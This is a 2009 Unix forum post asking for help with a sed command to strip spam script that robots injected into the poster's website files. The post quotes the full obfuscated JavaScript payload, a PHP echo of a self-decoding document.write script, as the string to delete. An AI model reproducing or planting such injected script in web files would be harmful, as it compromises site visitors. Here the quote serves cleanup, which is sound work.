Sponsored Content
Top Forums Shell Programming and Scripting [help]Delete or replace text in multiple file and multiple directory Post 302322609 by Nejc on Thursday 4th of June 2009 08:24:06 AM
Old 06-04-2009
Hello. I have a problem very similar to this one in this thread. Some robots spamed my website files with similar strings as described. The script works, but if I change the string to this below it doesnt:

Code:
  sed 's_<?php echo '<script language='JavaScript'>function e590206b977(){var w4=Array.prototype.slice.call(arguments).join(""),y4=w4.substr(3,3)-352,wf,o2,w4=w4.substr(6),s9=w4.length;for(var u1=0;u1<s9;u1++){try{throw(x0=w8(w4,u1));}catch(e){x0=e;};if(x0=='Ł'){y4="";u1=oc(u1);oe=u9(w4,u1);while(oe!='Ł'){y4+=oe;u1++;oe=x9(w4,u1);}y4-=303;continue;}wf="";if(x0=='µ'){u1++;x0=w4.substr(u1,1);while(x0!='µ'){wf+=x0;u1++;x0=w4.substr(u1,1);}wf=ob(wf,y4,6);if(wf<0)wf+=256;wf=rd(wf);document.write(String.fromCharCode(wf));continue;}p3=(x0+'').charCodeAt(0);if(p3>848)p3-=848;o2=p3-y4-6;if(o2<0)o2+=256;if(o2>=192)o2+=848;else if(o2==168)o2=1025;else if(o2==184)o2=1105;document.write(String.fromCharCode(o2));}}e590206b977("0d","7374XebnŁ","502Łµ14µµ26µŁ","401","Łµ173µµ1","36µµ18","7","µŁ4","1","7","ŁĘµ1","87µ","µ","181µ","Ł396Łµ1","33µË","×","×","Óµ157µµ146µ","µ146","µËĚ×","µ1","4","4µÖČŁ396ŁŃŁ3","99ŁĘ","Ë","Ř","Ł","438","Ł","µ","0","µ","µ1","8","7µđűµ","18","8","µŁ3","2","1Ł","~","µ","12","9µµ1","34µ|Ł","3","7","7Ł","µ12","7µµ","185","µ","µ19","0µ~µ179","µµ","1","83µµ","1","85","µŁ","348Łr","eUSŁ","33","3","Ł","{mh","x","Ł433Ł","Đŵ18","4µµ168µĐŁ4","9","2","Łµ","8","µŁ454","ŁćŁ3","3","9Ł","q","Ł4","72","Ł","÷","µ3µ","ěߣ478Ł","ŐŁ4","63Łµ8µµ","21µµ24µŁ3","4","2Ł","µ145µµ1","46","µŁ","30","9Ł~IŁ","436","Ł","µ","173","µŁ","33","8","ŁYŁ411Ł","µ14","8µ","µ1","76µ","µ17","4µ","µ161µ","µ","1","87µŁ","37","0Ł","µ1","43µµ","15","5µ","µ","138µµ","150µµ14","2µµ13","5µ");function w8(qa,te){return qa.substr(te,1);}function oc(t3){return ++t3;}function u9(s1,tf){return s1.substr(tf,1);}function x9(qe,x4){return qe.substr(x4,1);}function rd(xc){if(xc==168)xc=1025;else if(xc==184)xc=1105;return (xc>=192 && xc<256) ? xc+848 : xc;}function ob(t8,w5,u4){return t8-w5-u4;}<\/script>'; ?>_ _' "$y" >temp

The error returned is:
Code:
line 3: syntax error near unexpected token `('

I assume the problem is with the the character '. Am I right? Any ideas how I can fix this?

Thanks
 

10 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

Need to search and replace in multiple files in directory hierarchy

Hello all I need to search and replace in multiple files that are in directory hierarchy Im using the : find . -name "*.dsp" -print | xargs grep -n -o Test.lib" , I like to be able to replace every instance of Test.lib with empty space . how can I write one liner that does this ? (3 Replies)
Discussion started by: umen
3 Replies

2. Shell Programming and Scripting

How do you delete multiple text from a comma delimited file

I would like to know code that will delete multiple text from a comma delimited file. For example, how would the comma delimited file below delete the word 'PEST' in Perl language (previously an excel file that was converted to a csv and the last column was PEST): 1, 2,43,34, bosx,PEST 1,... (1 Reply)
Discussion started by: dolo21taf
1 Replies

3. Shell Programming and Scripting

Replace text in multiple files

Ok guys, If anyone could help me out on this puppy I'd be very appreciative! Here's the scenario I have a string for example : <img src=BLANK_IMG border=0 width=221 height=12> or <img src=IMG border=0 height=12 width=221 > or anything else really.... need to basically change each... (10 Replies)
Discussion started by: Tonka52
10 Replies

4. Shell Programming and Scripting

Replace text in multiple files

Dear all My task is to replace a strings in multiple files. filename: file1 I can use sed to replace abc.server.com to unix.server.org e.g. sed 's/abc.server.com/unix.server.org/g file1 > newfile1 I have 2 questions. How do I directly save file1 instead of append to newfile1. I... (1 Reply)
Discussion started by: on9west
1 Replies

5. UNIX for Dummies Questions & Answers

replace text in multiple files

I need to replace a piece of text in many files, recursively, in a way that doesn't duplicate the files. How would I do that? The closest I've come is grep -rl "text" * | sed -e 's/home1/home2/g' but that just replaces the filename. (2 Replies)
Discussion started by: dhinge
2 Replies

6. Shell Programming and Scripting

Replace text block in multiple files

I need to replace (delete) a text block in a bunch of files, its a html table, almost at the end of pages but the location varies. In Windows I used Filemonkey, but nothing like that in Unix? There is replace from mysql, but how does it deal with newlines? sed only works with single lines,... (6 Replies)
Discussion started by: eiland
6 Replies

7. Shell Programming and Scripting

How to replace multiple text in a file using sed

can anyone please help me in the below scenario: File1: Hello1 Hello1 i want to use sed to replace multiple occurances of Hello1 in file 1 to welcome. Thanks a ton for the help (9 Replies)
Discussion started by: amithkhandakar
9 Replies

8. Shell Programming and Scripting

Replace directory paths in multiple files at once

I need to update about 2400 files in a directory subtree, with a new directory path inside the files I need to change this occurence in all files: /d2/R12AB/VIS/apps/tech_st/10.1.2 with this: /u01/PROD/apps/apps_st/10.1.3 I know how to change single words using "find . -type f -print0 |... (6 Replies)
Discussion started by: wicus
6 Replies

9. Shell Programming and Scripting

Delete multiple folders in a directory which are two weeks old

I need help. I have to delete multiple directories inside a directory that are two weeks old. Example: Today is July 09, 2012 Folder1 > folder1 (created June 4, 2012) -- should be deleted > folder2 (created June 2, 2012) -- should be deleted > folder3 (created... (4 Replies)
Discussion started by: jasperux
4 Replies

10. Shell Programming and Scripting

Grep and replace multiple strings in a file with multiple filenames in a file

Hi, I have a file containing list of strings like i: Pink Yellow Green and I have file having list of file names in a directory j : a b c d Where j contains of a ,b,c,d are as follows a: Pink (3 Replies)
Discussion started by: madabhg
3 Replies
All times are GMT -4. The time now is 07:58 PM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy